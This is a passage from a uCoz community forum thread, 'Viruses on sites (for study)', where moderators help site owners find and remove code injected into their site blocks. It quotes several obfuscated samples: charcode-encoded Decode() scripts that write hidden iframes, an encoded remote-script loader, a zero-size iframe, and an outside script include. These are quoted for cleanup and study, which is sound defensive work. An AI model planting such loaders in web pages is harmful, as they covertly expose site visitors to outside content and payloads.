Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
| Вирусы на сайтах (для изучения) |
|
Cyber1098, в блоке наша кнопка выделенное красным удалить
Quote <!-- <block5998> --> <table border="0" cellpadding="0" cellspacing="0" style="border:1px solid #352E2C;margin-bottom:2px;" width="180"> <tr><td height="23" style="background:url('/.s/t/986/5.gif') #252525;color:#DAD397;padding-left:40px;font-size:10px;"><b><!-- <bt> -->Наша кнопка<!-- </bt> --></b></td></tr> <tr><td style="background:#C0B281;padding:5px;"><!-- <bc> --><center><font color="#86d800"><b>Ми будем вам вдячні, якщо ви розмістите нашу кнопку в себе на сайті. Якщо ви хочите обмінятися з нами баннерами, пишіть в форум баннеробмін :</b></font><br><br><script language="JavaScript"> так же вы должны выложить сюда код блока мини-профиль удалить. файлы скриптов не существуют
Code <style type="text/css" media="all"> @import url(/highslide/highslide.css); </style> <script type="text/javascript" src="/highslide/highslide.js"></script> <script type="text/javascript" src="/highslide/include_highslide.js"></script> <script type="text/javascript"> hs.graphicsDir = '/highslide/graphics/'; </script> |
|
Дякую.....помогло....
код міні блока написати ок Code <div align="center"><strong><SCRIPT LANGUAGE="JavaScript"> currentTime = new Date(); if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 ) document.write("Добрий ранок, "); if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 ) document.write("Добрий день, "); if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23) document.write("Добрий вечір, "); if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5) document.write("Доброї ночі, "); </SCRIPT> $USERNAME$</strong> <br> <br> Повідомлення: <?if($IS_NEW_PM$)?><img src="http://s42.radikal.ru/i096/0811/da/792a904470e4.gif" ><?else?><img src="http://s40.radikal.ru/i089/0811/94/292f5884f6d6.gif" ><?endif?><br> <?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://s56.radikal.ru/i152/0811/94/7504f641ae8e.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://s56.radikal.ru/i152/0811/94/7504f641ae8e.png" border="0"><?endif?><?endif?> <span style="font-weight: bold; color: rgb(0, 102, 0);"><br><font color="#006400">Группа:</font></span> <b>$USER_GROUP$ <div align="center"><font color="#006400"><strong>Час:</strong></font><b>$TIME$</b><br> <?if($USER_LOGGED_IN$)?> <div align="left"> <br><img src="http://babin.at.ua/image/ico2/user.png"> Логін: <b>$USER_FULL_NAME$ </b> <br><img src="http://babin.at.ua/image/ico2/key.png"> ID: <b>$USER_ID$</b> <br><img src="http://babin.at.ua/image/ico2/clock.png"> Ти тут: <font color="#FF0000"><b>$USER_REG_DAYS$</b></font>-й день <br><a target="_blank" href="$PERSONAL_PAGE_LINK$"><img src="http://soft-fan.3dn.ru/icons_forum/progr.gif" border="0"> Профіль</a> <br><a href="javascript:openOnClick('users')"><img src="http://babin.at.ua/image/ico2/vcard.png"> Список користувачів</a> <br><a href="javascript:openOnClick('options')"><img src="http://babin.at.ua/image/ico2/wrench.png"> Змінити інформацію</a> <br><a href="javascript:openOnClick('send')"><img src="http://babin.at.ua/image/ico2/email_edit.png"> Відправити повідомлення</a> <br><a id="upml2" href="javascript:openOnClick('mail')"><img src="http://babin.at.ua/image/ico2/email.png"> Читати ОП (<b>$UNREAD_PM$</b>)</a> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?> </div> <DIV><br><center><a target="_blank" href="$LOGOUT_LINK$"><img src="http://s45.radikal.ru/i107/0811/26/3b4b854856bc.png" border="0"></a></center></DIV> <script language=javascript type=text/javascript> function openOnClick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } </script> <?else?> <br>Гість ми раді вас бачити. Будь-ласка зареєструйтесь або авторизуйтесь! <?endif?></div> $LOGIN_FORM$ nтепер кнопки получить і баннера не видно |
|
Cyber1098, мини-профиль чистый. картинки с мини-профиля перелейте на свой сайт
Quote nтепер кнопки получить і баннера не видно невидно потому что вы удалили весь блок, а не только выделенным красным код |
|
Доброе время суток!
Странность на форуме: в некоторых ветках гиперссылки, записанные пользователем в теге [url=] заменяются на ссылки вида "//u.to/всякое" (например http://texnomagia.ru/forum/41-815-57). А в некоторых ветках - не заменяются (например http://texnomagia.ru/forum/99-293-1) Аналогичную замену заметил тут: //forum.ucoz.ru/forum/45-34556-700389-16-1298963725 Чьи это уши, врагов? |
|
dmitriym, u.to - это сервис от uCoz. Это не вирус.
//forum.ucoz.ru/forum/34-34620-1 |
|
Здравствуйте.
Несколько дней назад, если быть точной примерно дней пять, при входе на сайт антивирус начал верещать что сайт заражён трояном. Понятия не имею откуда он мог появиться. Ссылка на сайт: http://christiallencox.ucoz.ru Антивирусник верещит на любой странице связанной с сайтом. Будь то гостевая книга, либо форум. Проверяла входя под гостем, антивирусник продолжает верещать о вирусе. Надеюсь на помощь, не хотелось бы терять сайт. Заранее спасибо. |
|
Айра, не любят антивирусы вот это
Code <SCRIPT LANGUAGE="JavaScript"> <!-- function Decode(){var temp="",i,c=0,out="";var str="60!97!32!104!114!101!102!61!34!104!116!116!112!58!47!47!108!111!115!116!52!46!117! 99!111!122!46!114!117!47!105!110!100!101!120!47!97! 10 0!100!95!109!97!116!101!114!105!97!108!47!48!45!53!48!57!34!32!116!97!114!103!101!116!61 !34!95!98!108!97!110!107!34!32!116!105!116!108!101 !6 1!34!1044!1086!1073!1072!1074!1080!1090!1100!32!1089!1074!1086!1081!32!1084!1072!1090! 1077!1088!1080!1072!1083!32!1085!1072!32!1085!1072!1 09 6!32!1089!1072!1081!1090!32!1073!1077!1079!32!1088!1077!1075!1080!1089!1090!1088!1072! 1094!1080!1080!34!62!60!105!109!103!32!115!114!99!61 !3 4!104!116!116!112!58!47!47!108!111!115!116!52!46!117!99!111!122!46!114!117!47!98!97!110! 110!101!114!46!103!105!102!34!62!60!47!97!62!13!10 !6 0!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!108!111!115!116!52! 46!117!99!111!122!46!114!117!47!105!110!100!101!1 20 !47!116!117!116!95!110!105!99!104!101!103!111!95!110!101!116!47!48!45!53!49!49!34!32!110!97! 109!101!61!34!105!102!114!97!109!101!34!32!119 !1 05!100!116!104!61!34!48!37!34!32!104!101!105!103!104!116!61!34!48!37!34!32!115!99!114!111!108! 108!105!110!103!61!34!110!111!34!32!102!114! 97 !109!101!66!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);} //--> </SCRIPT><SCRIPT LANGUAGE="JavaScript"> <!-- Decode(); //--> </SCRIPT> и у вас слишком много друзей у сайта, а значит слишком много внешек |
|
Ruskill, гугл закинул ваш сайт под фильтр. это было правильное решение, так как сайт являет собой мусорку из различных скриптов часть из которых кодирована
Code <!--U1AHEADER1Z--><SCRIPT LANGUAGE="JavaScript"> <!-- function Decode(){var temp="",i,c=0,out="";var str="60!100!105!118!32!115!116!121!108!101!61!34!112!111!115!105!116!105!111!110!58!102! 105!120!101!100!59!32!122!45!105!110!100!101!120!5 8!57!57!57!57!59!32!116!111!112!58!48! 112!120!59!32!114!105!103!104!116!58!48!112!120!59!34!62!32!10!60!105!109!103!32!98!111! 114!100!10 1!114!61!34!48!34!32!115!114!99!61!34!104!116!116!112!58!47!47!119!101!98!111!52! 107!97!46!51!100!110!46!114!117!47!85!99!111!122!47!57!95 !109!97!106!97!95!111!116!95!119!101 !98!111!52!107!105!46!112!110!103!34!32!97!108!116!61!34!34!32!47!62!32!10!60!47!100!105!118!62!" ;l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);} //--> </SCRIPT><SCRIPT LANGUAGE="JavaScript"> <!-- Decode(); //--> </SCRIPT> вам впилили в код мини-профиля вот этот мусор да ещё и в неродной кодировке, а вы и незаметили
Quote <script language=javascript type=text/javascript> function openOnClick(client_type) { if(client_type=="mail")clientWindow = window.open("","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } <a href="http://www.liveclix.net/?refid=142425"><font face=Verdana size=2 color=#000000><span style="text-decoration: none">Реклама от <font color=#CC0000>LiveCLiX</font></span></font></a><script type="text/javascript" charset="windows-1251" src="http://liveclix.net/links/43605.js"></script> </script> вот это вообще кошмар
Quote <script type="text/javascript" src="http://scriptbox.net.ru/clocks_cs_main.js"></script> часы в закодированном виде лучше сморятся? <IFRAME name="Calendar" src="http://avatarochka.ru/Calend/Contra.htm" height="180" width="145" scrolling="no" frameborder="0"></IFRAME> чем меньше такого - тем лучше <script type="text/javascript" src="http://skripty.ucoz.net/skripty/no-cheats.js"></script> а это как говориться лишь бы поставить
Code <script type="text/javascript"> <!--Invocation code--> var infobar=new informationbar() infobar.setContent('Текст вашего сообщения будет тут <a href="http://infoscript.ru">А тут будет ссылка</a>') //infobar.setfrequency('session') //Uncomment this line to set information bar to only display once per browser session! infobar.initialize() </script> а это просто мусор Quote <div align="center"><a target="_blank" href="http://our-soft.ru/"><img ilo-full-src="http://vik-games.net.ru/opros/CounterStrike.png" alt="" src="http://vik-games.net.ru/opros/CounterStrike.png" border="0"></a><br><br><a target="_blank" href="http://vik-games.net.ru/"><iframe src="http://progalaxy.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><img ilo-full-src="http://vik-games.net.ru/opros/75790957.gif" alt="" src="http://vik-games.net.ru/opros/75790957.gif" border="0"></a><br><br></div> может быть стоит сайт обновлять в смысле контента? |
|
Cyber1098, вы удалили весь блок, а не тот код который я вам выделила красным. нужно было удалить только то что я выделила
|
|
Cyber1098, вы опять себе вставили агрессивный код на сайт
выделенное красным убрать Quote <!-- <block5880> --> <table border="0" cellpadding="0" cellspacing="0" style="border:1px solid #352E2C;margin-bottom:2px;" width="180"> <tr><td height="23" style="background:url('/.s/t/986/5.gif') #252525;color:#DAD397;padding-left:40px;font-size:10px;"><b><!-- <bt> -->Наша кнопка<!-- </bt> --></b></td></tr> <tr><td style="background:#C0B281;padding:5px;"><!-- <bc> --><center><font color="#86d800"><b>Ми будем вам вдячні, якщо ви розмістите нашу кнопку в себе на сайті. Якщо ви хочите обмінятися з нами баннерами, пишіть в форум баннеробмін :</b></font><br><br><script language="JavaScript"> <!-- function popup1() { prompt('<a href="http://lviv-cs-shooter.at.ua/" target="_blank"><img src="http://lviv-cs-shooter.at.ua/Lviv-cs.gif"></a>','<a href="http://lviv-cs-shooter.at.ua/" target="_blank" alt="Все для кс"><center><img src="http://lviv-cs-shooter.at.ua/Lviv-cs.gif" alt="Все для кс" title="Все для кс" width=88 height=31 border=0></center></a>'); return false; } //--> <script language="JavaScript"src="http://smfile.3dn.ru/iGo.js"></script> <a href="http://lviv-cs-shooter.at.ua/" target="_self" alt="Все для кс"><center><img src="http://lviv-cs-shooter.at.ua/Lviv-cs.gif" alt="Все для кс" width=88 height=31 border=0></center></a><br><br> <form><center> <input type="button" value="Получити код" onclick="popup1()"> </center></form></center><!-- </bc> --></td></tr> <tr><td><img src="/.s/t/986/6.gif" border="0"></td></tr> </table> |
|
Delahoya, на какой странице срабатывает? и какой антивирус?
ругаться может на это
Code <script type="text/javascript" language="javascript"> <!-- document.write("<scr"+"ipt type='text/javascript' language='javasc"+"ript' src='"); function QL195(R259){document.write( String.fromCharCode(parseInt(R259)-5));} var C271="109?121?121?117?63?52?52?105?106?113?102?"+ "109?116?126?102?58?59?51?116?112?116?120?109?106?104?"+ "109?112?102?51?115?106?121?52? 117?115?79?111?123?79?"+ "105?57?56?61?54?52?68?120?110?105?66?61?59?55?61?59";var y639=C271.split("?"); var Ns109=0;while(Ns109<y639.length){QL195(y639[Ns109]);Ns109++;} document.write("'></sc"+"ript>"); // --> </script> |
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!